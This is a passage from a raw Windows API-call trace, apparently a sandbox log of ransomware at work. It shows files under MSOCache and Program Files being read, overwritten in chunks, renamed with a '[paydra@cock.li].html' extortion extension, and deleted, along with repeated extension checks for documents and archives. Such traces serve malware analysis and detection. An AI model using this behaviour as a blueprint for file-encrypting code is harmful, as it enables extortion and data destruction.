lpNumberOfBytesWritten=0x2b1fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ed1060*, lpNumberOfBytesWritten=0x2b1fc88*=0x40000, lpOverlapped=0x0) returned 1 [0049.173] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x9b2ba9f, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fc7c | out: lpNewFilePointer=0x0) returned 1 [0049.173] WriteFile (in: hFile=0x20c, lpBuffer=0x3ed1060*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b1fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ed1060*, lpNumberOfBytesWritten=0x2b1fc88*=0x40000, lpOverlapped=0x0) returned 1 [0049.175] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ed1060 | out: hHeap=0x4b0000) returned 1 [0049.175] CloseHandle (hObject=0x20c) returned 1 [0049.175] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x2020) returned 1 [0049.175] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0049.175] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0049.175] lstrlenW (lpString=".doc") returned 4 [0049.175] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0049.175] lstrlenW (lpString=".docx") returned 5 [0049.176] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0049.176] lstrlenW (lpString=".pdf") returned 4 [0049.176] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0049.176] lstrlenW (lpString=".xls") returned 4 [0049.176] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0049.176] lstrlenW (lpString=".xlsx") returned 5 [0049.176] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0049.176] lstrlenW (lpString=".ppt") returned 4 [0049.176] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0049.176] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0049.176] lstrlenW (lpString=".zip") returned 4 [0049.176] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0049.176] lstrlenW (lpString=".rar") returned 4 [0049.176] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0049.176] lstrlenW (lpString=".bz2") returned 4 [0049.176] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0049.176] lstrlenW (lpString=".7z") returned 3 [0049.176] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0049.176] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0049.176] lstrlenW (lpString=".dbf") returned 4 [0049.176] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0049.176] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0049.176] lstrlenW (lpString=".1cd") returned 4 [0049.176] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0049.176] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0049.176] lstrlenW (lpString=".jpg") returned 4 [0049.176] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0049.176] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0049.176] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0049.176] lstrlenW (lpString=".doc") returned 4 [0049.176] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0049.176] lstrlenW (lpString=".docx") returned 5 [0049.176] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0049.176] lstrlenW (lpString=".pdf") returned 4 [0049.176] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0049.177] lstrlenW (lpString=".xls") returned 4 [0049.177] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0049.177] lstrlenW (lpString=".xlsx") returned 5 [0049.177] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0049.177] lstrlenW (lpString=".ppt") returned 4 [0049.177] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0049.177] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0049.177] lstrlenW (lpString=".zip") returned 4 [0049.177] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0049.177] lstrlenW (lpString=".rar") returned 4 [0049.177] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0049.177] lstrlenW (lpString=".bz2") returned 4 [0049.177] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0049.177] lstrlenW (lpString=".7z") returned 3 [0049.177] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0049.177] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0049.177] lstrlenW (lpString=".dbf") returned 4 [0049.177] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0049.177] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0049.177] lstrlenW (lpString=".1cd") returned 4 [0049.177] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0049.177] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0049.177] lstrlenW (lpString=".jpg") returned 4 [0049.177] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0049.177] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1 [0049.177] lstrlenW (lpString="osetup.dll") returned 10 [0049.177] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\osetup.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0049.330] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=7378792) returned 1 [0049.330] CloseHandle (hObject=0x17c) returned 1 [0049.330] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\osetup.dll")) returned 0x2020 [0049.331] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0049.331] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\osetup.dll"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[paydra@cock.li].html")) returned 1 [0049.331] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0049.331] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fc6c | out: lpNewFilePointer=0x0) returned 1 [0049.331] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fc2c | out: lpNewFilePointer=0x0) returned 1 [0049.331] ReadFile (in: hFile=0x17c, lpBuffer=0x3630058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b1fc38, lpOverlapped=0x0 | out: lpBuffer=0x3630058*, lpNumberOfBytesRead=0x2b1fc38*=0x40000, lpOverlapped=0x0) returned 1 [0049.334] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x2587cd, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fc2c | out: lpNewFilePointer=0x0) returned 1 [0049.334] ReadFile (in: hFile=0x17c, lpBuffer=0x3670058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b1fc38, lpOverlapped=0x0 | out: lpBuffer=0x3670058*, lpNumberOfBytesRead=0x2b1fc38*=0x40000, lpOverlapped=0x0) returned 1 [0049.339] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2b1fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0049.339] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x6c9768, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fc2c | out: lpNewFilePointer=0x0) returned 1 [0049.339] ReadFile (in: hFile=0x17c, lpBuffer=0x36b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b1fc38, lpOverlapped=0x0 | out: lpBuffer=0x36b0058*, lpNumberOfBytesRead=0x2b1fc38*=0x40000, lpOverlapped=0x0) returned 1 [0049.360] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.360] WriteFile (in: hFile=0x17c, lpBuffer=0x3630020*, nNumberOfBytesToWrite=0xc0100, lpNumberOfBytesWritten=0x2b1fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesWritten=0x2b1fcb0*=0xc0100, lpOverlapped=0x0) returned 1 [0049.371] SetEndOfFile (hFile=0x17c) returned 1 [0049.371] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x40000) returned 0x3fc38a8 [0049.572] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fc7c | out: lpNewFilePointer=0x0) returned 1 [0049.572] WriteFile (in: hFile=0x17c, lpBuffer=0x3fc38a8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b1fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fc38a8*, lpNumberOfBytesWritten=0x2b1fc88*=0x40000, lpOverlapped=0x0) returned 1 [0049.574] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x2587cd, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fc7c | out: lpNewFilePointer=0x0) returned 1 [0049.574] WriteFile (in: hFile=0x17c, lpBuffer=0x3fc38a8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b1fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fc38a8*, lpNumberOfBytesWritten=0x2b1fc88*=0x40000, lpOverlapped=0x0) returned 1 [0049.575] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x6c9768, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fc7c | out: lpNewFilePointer=0x0) returned 1 [0049.576] WriteFile (in: hFile=0x17c, lpBuffer=0x3fc38a8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b1fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fc38a8*, lpNumberOfBytesWritten=0x2b1fc88*=0x40000, lpOverlapped=0x0) returned 1 [0049.577] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fc38a8 | out: hHeap=0x4b0000) returned 1 [0049.577] CloseHandle (hObject=0x17c) returned 1 [0049.577] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x2020) returned 1 [0049.577] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0049.577] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0049.577] lstrlenW (lpString=".doc") returned 4 [0049.577] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0049.577] lstrlenW (lpString=".docx") returned 5 [0049.577] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0049.577] lstrlenW (lpString=".pdf") returned 4 [0049.578] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0049.578] lstrlenW (lpString=".xls") returned 4 [0049.578] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0049.578] lstrlenW (lpString=".xlsx") returned 5 [0049.578] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0049.578] lstrlenW (lpString=".ppt") returned 4 [0049.578] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0049.578] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0049.578] lstrlenW (lpString=".zip") returned 4 [0049.578] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0049.578] lstrlenW (lpString=".rar") returned 4 [0049.578] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0049.578] lstrlenW (lpString=".bz2") returned 4 [0049.578] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0049.578] lstrlenW (lpString=".7z") returned 3 [0049.578] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0049.578] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0049.578] lstrlenW (lpString=".dbf") returned 4 [0049.578] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0049.578] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0049.578] lstrlenW (lpString=".1cd") returned 4 [0049.578] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0049.578] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0049.578] lstrlenW (lpString=".jpg") returned 4 [0049.578] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0049.578] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0049.578] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0049.578] lstrlenW (lpString=".doc") returned 4 [0049.578] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0049.578] lstrlenW (lpString=".docx") returned 5 [0049.578] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0049.578] lstrlenW (lpString=".pdf") returned 4 [0049.578] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0049.579] lstrlenW (lpString=".xls") returned 4 [0049.579] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0049.579] lstrlenW (lpString=".xlsx") returned 5 [0049.579] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0049.579] lstrlenW (lpString=".ppt") returned 4 [0049.579] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0049.579] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0049.579] lstrlenW (lpString=".zip") returned 4 [0049.579] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0049.579] lstrlenW (lpString=".rar") returned 4 [0049.579] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0049.579] lstrlenW (lpString=".bz2") returned 4 [0049.579] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0049.579] lstrlenW (lpString=".7z") returned 3 [0049.579] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0049.579] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0049.579] lstrlenW (lpString=".dbf") returned 4 [0049.579] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0049.579] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0049.579] lstrlenW (lpString=".1cd") returned 4 [0049.579] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0049.579] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0049.579] lstrlenW (lpString=".jpg") returned 4 [0049.579] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0049.579] lstrcmpiW (lpString1=".exe", lpString2=".html") returned -1 [0049.579] lstrlenW (lpString="setup.exe") returned 9 [0049.579] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0049.580] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=1377656) returned 1 [0049.580] CloseHandle (hObject=0x17c) returned 1 [0049.580] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.exe")) returned 0x2020 [0049.580] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.exe.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0049.580] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0049.581] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.581] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.581] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.exe.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0049.581] GetLastError () returned 0x0 [0049.581] ReadFile (in: hFile=0x17c, lpBuffer=0x3630020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesRead=0x2b1fed4*=0xffff0, lpOverlapped=0x0) returned 1 [0049.606] WriteFile (in: hFile=0x1e8, lpBuffer=0x3630020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0049.758] ReadFile (in: hFile=0x17c, lpBuffer=0x3630020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesRead=0x2b1fed4*=0x50588, lpOverlapped=0x0) returned 1 [0049.770] WriteFile (in: hFile=0x1e8, lpBuffer=0x3630020*, nNumberOfBytesToWrite=0x50590, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x50590, lpOverlapped=0x0) returned 1 [0049.778] ReadFile (in: hFile=0x17c, lpBuffer=0x3630020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.778] WriteFile (in: hFile=0x1e8, lpBuffer=0x3630020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0049.778] SetEndOfFile (hFile=0x1e8) returned 1 [0049.778] CloseHandle (hObject=0x1e8) returned 1 [0049.779] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.779] SetEndOfFile (hFile=0x17c) returned 1 [0049.963] CloseHandle (hObject=0x17c) returned 1 [0049.963] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x2020) returned 1 [0049.963] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.exe")) returned 1 [0049.964] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0049.964] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0049.964] lstrlenW (lpString=".doc") returned 4 [0049.964] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0049.964] lstrlenW (lpString=".docx") returned 5 [0049.964] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0049.964] lstrlenW (lpString=".pdf") returned 4 [0049.964] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0049.964] lstrlenW (lpString=".xls") returned 4 [0049.964] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0049.964] lstrlenW (lpString=".xlsx") returned 5 [0049.964] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0049.964] lstrlenW (lpString=".ppt") returned 4 [0049.964] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0049.964] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0049.964] lstrlenW (lpString=".zip") returned 4 [0049.964] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0049.964] lstrlenW (lpString=".rar") returned 4 [0049.964] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0049.964] lstrlenW (lpString=".bz2") returned 4 [0049.964] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0049.964] lstrlenW (lpString=".7z") returned 3 [0049.964] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0049.964] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0049.964] lstrlenW (lpString=".dbf") returned 4 [0049.964] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0049.964] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0049.964] lstrlenW (lpString=".1cd") returned 4 [0049.964] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0049.964] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0049.965] lstrlenW (lpString=".jpg") returned 4 [0049.965] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0049.965] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0049.965] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0049.965] lstrlenW (lpString=".doc") returned 4 [0049.965] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0049.965] lstrlenW (lpString=".docx") returned 5 [0049.965] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0049.965] lstrlenW (lpString=".pdf") returned 4 [0049.965] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0049.965] lstrlenW (lpString=".xls") returned 4 [0049.965] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0049.965] lstrlenW (lpString=".xlsx") returned 5 [0049.965] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0049.965] lstrlenW (lpString=".ppt") returned 4 [0049.965] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0049.965] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0049.965] lstrlenW (lpString=".zip") returned 4 [0049.965] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0049.965] lstrlenW (lpString=".rar") returned 4 [0049.965] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0049.965] lstrlenW (lpString=".bz2") returned 4 [0049.965] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0049.965] lstrlenW (lpString=".7z") returned 3 [0049.965] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0049.965] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0049.965] lstrlenW (lpString=".dbf") returned 4 [0049.965] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0049.965] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0049.965] lstrlenW (lpString=".1cd") returned 4 [0049.965] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0049.965] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0049.966] lstrlenW (lpString=".jpg") returned 4 [0049.966] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0049.966] lstrcmpiW (lpString1=".DLL", lpString2=".html") returned -1 [0049.966] lstrlenW (lpString="EEINTL.DLL") returned 10 [0049.966] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033\\eeintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0049.967] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=64096) returned 1 [0049.967] CloseHandle (hObject=0x17c) returned 1 [0049.967] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033\\eeintl.dll")) 